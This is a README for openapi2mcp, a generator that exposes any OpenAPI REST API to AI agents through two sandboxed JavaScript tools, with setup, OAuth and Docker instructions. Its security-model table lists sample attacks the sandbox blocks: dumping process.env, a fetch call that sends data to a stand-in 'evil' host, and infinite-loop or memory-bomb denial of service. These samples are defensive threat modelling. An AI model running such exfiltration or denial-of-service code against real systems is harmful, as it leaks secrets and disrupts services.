openapi2mcp

openapi2mcp

An MCP server that exposes any OpenAPI REST API via two tools: search for discovering endpoints and execute for making API calls. It uses Code Mode to keep token footprint low and runs user-written JavaScript in a sandbox.

Category
访问服务器

README

openapi2mcp

License: MIT TypeScript Node.js MCP Status: WIP PRs Welcome

<h3 align="center"><b>Turn any OpenAPI spec into a token-efficient MCP server —<br>the entire API through two tools, no matter how big it is.</b></h3>

<a id="status"></a>

⚠️ Work in progress. This project is early and actively evolving — the API, generated output, and configuration may change without notice. Not production-ready. Expect rough edges; ideas and PRs welcome (see CONTRIBUTING.md).

openapi2mcp generates a standalone, Dockerizable MCP server that exposes a whole REST API via just search and execute, following the Code Mode pattern popularized by Cloudflare. The model writes a little JavaScript; the server runs it safely. The result: a fixed ~1–2k token footprint that never grows with your API.

your OpenAPI spec  ──►  openapi2mcp  ──►  a runnable MCP server (2 tools, ~1–2k tokens)

The problem

Every endpoint you expose as a normal MCP tool fills the model's context window. For a large API this breaks entirely:

Approach Tools Tokens (200k context)
Raw spec in prompt ~2,000,000 (977%)
Native MCP — full schemas 2,500 1,170,000 (585% ❌)
Native MCP — minimal schemas 2,500 244,000 (122%)
Code Mode — this project 2 ~1,200 (0.5% ✅)

Code Mode inverts the model: instead of picking from thousands of fixed tools, the agent writes code that says what it wants, and the server executes it.

Quickstart

git clone https://github.com/dspachos/openapi2mcp.git openapi2mcp && cd openapi2mcp
npm install

# Generate a server from the canonical Petstore spec (no creds needed)
npm run example

# Run it
cd generated/petstore-mcp && npm install && npm start   # → http://localhost:8787/mcp

Connect any MCP client:

{
  "mcpServers": {
    "petstore": { "type": "http", "url": "http://localhost:8787/mcp" }
  }
}

Then just ask your agent: "find the endpoints for managing orders, then list the stored orders." It will search the spec, then execute the calls.

How it works

┌──────────┐   tools/call(search)   ┌────────────────────────┐
│          │ ─────────────────────► │  Generated MCP server   │
│   Agent  │   tools/call(execute)  │  ┌──────────────────┐   │
│   (LLM)  │ ◄───────────────────── │  │  sandbox          │   │
│          │   results only         │  │  (isolated-vm)    │   │
│          │   (the spec never      │  │   • no fs / env   │   │
│          │    reaches the agent)  │  │   • no free fetch │   │
└──────────┘                        │  └────────┬─────────┘   │
                                    │           │ api.request │
                                    │  ┌────────▼─────────┐   │
                                    │  │  host process    │   │
                                    │  │   • injects auth │───►  your API
                                    │  │   • host allow-  │   │
                                    │  │     list (fetch) │   │
                                    │  └──────────────────┘   │
                                    └────────────────────────┘
  • search({ code }) — read-only JavaScript over the resolved OpenAPI spec (spec.paths). The agent discovers the endpoints it needs; the full spec never enters its context.
  • execute({ code }) — JavaScript that calls api.request({ method, path, query, body }) to hit the API, compose calls, paginate, filter results, and return just what's needed.

Security model

This tool executes model-authored code at runtime, so the sandbox is the whole game. Each generated server runs untrusted code in a hardened isolated-vm V8 isolate — not Node's vm module, which is not a security boundary.

Threat Mitigation
Secret exfiltration (JSON.stringify(process.env)) No process, require, or env access inside the isolate
Data exfiltration (fetch('https://evil/…')) No fetch; api.request is the only network primitive, locked to your API base URL
Token leakage The API secret is injected by the host and is never visible to sandboxed code
DoS (while(true){} / memory bombs) Per-call memory limit + wall-clock timeout; a fresh isolate per call

Where AI fits

At generation time only — zero LLM cost per request. If you provide an OpenAI-compatible endpoint, the generator analyzes your spec and writes tailored search/execute descriptions, grounded examples using real API paths, and notes on response envelopes / pagination / auth quirks. If unavailable, it falls back to deterministic descriptions. Disable with --no-ai.

Works with any OpenAI-compatible provider — OpenAI, Azure, OpenRouter, LiteLLM, Ollama, a local gateway, etc.:

export OPENAI_API_KEY=sk-...
export OPENAI_BASE_URL=https://api.openai.com/v1   # or your gateway

OAuth 2.1 — per-user, downscoped access

For multi-user deployments, generate with --oauth and the server becomes its own OAuth 2.1 authorization server (the model Cloudflare uses):

openapi2mcp generate --spec ... --oauth --auth bearer --auth-env API_TOKEN

Each end-user then authorizes via a browser consent flow instead of sharing one baked-in token:

  1. The MCP client hits /mcp unauthenticated → 401 + Protected Resource Metadata.
  2. It discovers /.well-known/oauth-authorization-server, registers a client (/register — Dynamic Client Registration), and runs authorization-code + PKCE (S256).
  3. The consent page asks the user for their upstream API token and which scopes to grant. Scopes are derived from the spec automatically — <product>:<read|write>, e.g. orders:read, billing:write.
  4. The server issues a short-lived RS256 JWT access token + refresh token, storing the user's upstream token server-side (it never enters the sandbox).
  5. On every execute the granted scopes are enforced — the agent cannot call operations the user didn't approve.

Endpoints: /.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server (RFC 8414), /authorize, /token, /register, /revoke, /jwks.

⚠️ Security notes. Access tokens are signed by a per-process key (restart invalidates them; refresh tokens survive). The token store is in-memory / single-instance — swap in Redis/KV/Postgres for multi-instance. The paste-token consent model trusts the resource owner to paste into a flow they initiated. This is a focused MCP subset — security review recommended before production.

Usage

npx tsx src/index.ts generate \
  --spec https://api.example.com/openapi.json \
  --name example \
  --base-url https://api.example.com \
  --auth bearer --auth-env EXAMPLE_API_TOKEN \
  --out ./generated/example-mcp
Flag Purpose
--spec <url|file> OpenAPI spec (required)
--name <name> server / output name (required)
--out <dir> output dir (default ./generated/<name>-mcp)
--base-url <url> target API base URL (else spec servers, or spec URL origin)
--base-url-env <VAR> env var to read the base URL at runtime (preferred)
--auth bearer|apikey|none auth scheme (default: auto-detect from securitySchemes)
--auth-env <VAR> env var holding the target API secret (default API_TOKEN)
--auth-header <name> header for apikey auth (default X-Api-Key)
--oauth enable OAuth 2.1 authorization-server mode (per-user, downscoped tokens)
--no-ai skip AI augmentation
--llm-base-url <url> LLM base (default $OPENAI_BASE_URL)
--llm-api-key <key> LLM key (default $OPENAI_API_KEY)
--llm-model <id> model id (default: auto-detect via /v1/models)

The generated server

<name>-mcp/
├── spec.json          # resolved, trimmed OpenAPI spec (for the search tool)
├── meta.json          # auth, base URL, AI-generated descriptions & examples
├── package.json
├── Dockerfile
└── src/
    ├── index.ts       # MCP server + streamable HTTP transport
    ├── sandbox.ts     # isolated-vm runner (the security boundary)
    ├── search.ts      # search tool (read-only over the spec)
    └── execute.ts     # execute tool (locked-down api.request)
cd generated/example-mcp
cp .env.example .env          # set base URL + secret + PORT
npm install && npm start      # → http://0.0.0.0:8787/mcp

Docker:

docker build -t example-mcp .
docker run -p 8787:8787 \
  -e BASE_URL=https://api.example.com \
  -e API_TOKEN=secret \
  example-mcp

The runtime is fixed code — only spec.json and meta.json vary per API. It runs on plain Node + Docker (no Cloudflare Workers dependency; isolated-vm replaces their Dynamic Worker Loader).

Project structure

openapi2mcp/
├── src/                # the generator
│   ├── spec/           #   fetch · $ref resolver · spec trimmer
│   ├── analyze.ts      #   detect base URL + auth scheme
│   ├── ai.ts           #   optional AI augmentation (OpenAI-compatible)
│   ├── emit.ts         #   scaffold from template/ + inject spec.json/meta.json
│   └── generator.ts    #   orchestration
└── template/           # the runtime, copied verbatim into every generated server

How it compares

Approach Token cost Scales to huge APIs Sandbox needed Agent-side changes
Native MCP (one tool / endpoint) high (grows with API) no none
CLI-per-server (progressive disclosure) low shell (larger surface) needs a shell
Dynamic tool search medium ⚠️ no needs a search fn
openapi2mcp (Code Mode) ~1–2k fixed isolated-vm none

Contributing

Contributions welcome — see CONTRIBUTING.md for setup, where things live, and PR conventions.

Roadmap

  • [x] OAuth 2.1 per-user, downscoped authorization-server mode ✅
  • [ ] Durable / multi-instance token store (Redis, KV, Postgres) + persisted signing key
  • [ ] B1 path: delegated upstream OAuth (GitHub/Google-style refresh-token storage)
  • [ ] Streaming / chunked responses for large payloads
  • [ ] Heuristic response-envelope + pagination auto-handling
  • [ ] Published as an npx-able npm package
  • [ ] Tests across more OpenAPI edge cases (Swagger 2.0, allOf/oneOf, webhooks)

Acknowledgements

Inspired by Cloudflare's Code Mode and Anthropic's Code Execution with MCP. Security is built on isolated-vm by Karl Miller. MCP via the official Model Context Protocol SDK.

License

MIT

推荐服务器

Baidu Map

Baidu Map

百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。

官方
精选
JavaScript
Playwright MCP Server

Playwright MCP Server

一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。

官方
精选
TypeScript
Magic Component Platform (MCP)

Magic Component Platform (MCP)

一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。

官方
精选
本地
TypeScript
Audiense Insights MCP Server

Audiense Insights MCP Server

通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。

官方
精选
本地
TypeScript
VeyraX

VeyraX

一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。

官方
精选
本地
graphlit-mcp-server

graphlit-mcp-server

模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。

官方
精选
TypeScript
Kagi MCP Server

Kagi MCP Server

一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。

官方
精选
Python
e2b-mcp-server

e2b-mcp-server

使用 MCP 通过 e2b 运行代码。

官方
精选
Neon MCP Server

Neon MCP Server

用于与 Neon 管理 API 和数据库交互的 MCP 服务器

官方
精选
Exa MCP Server

Exa MCP Server

模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。

官方
精选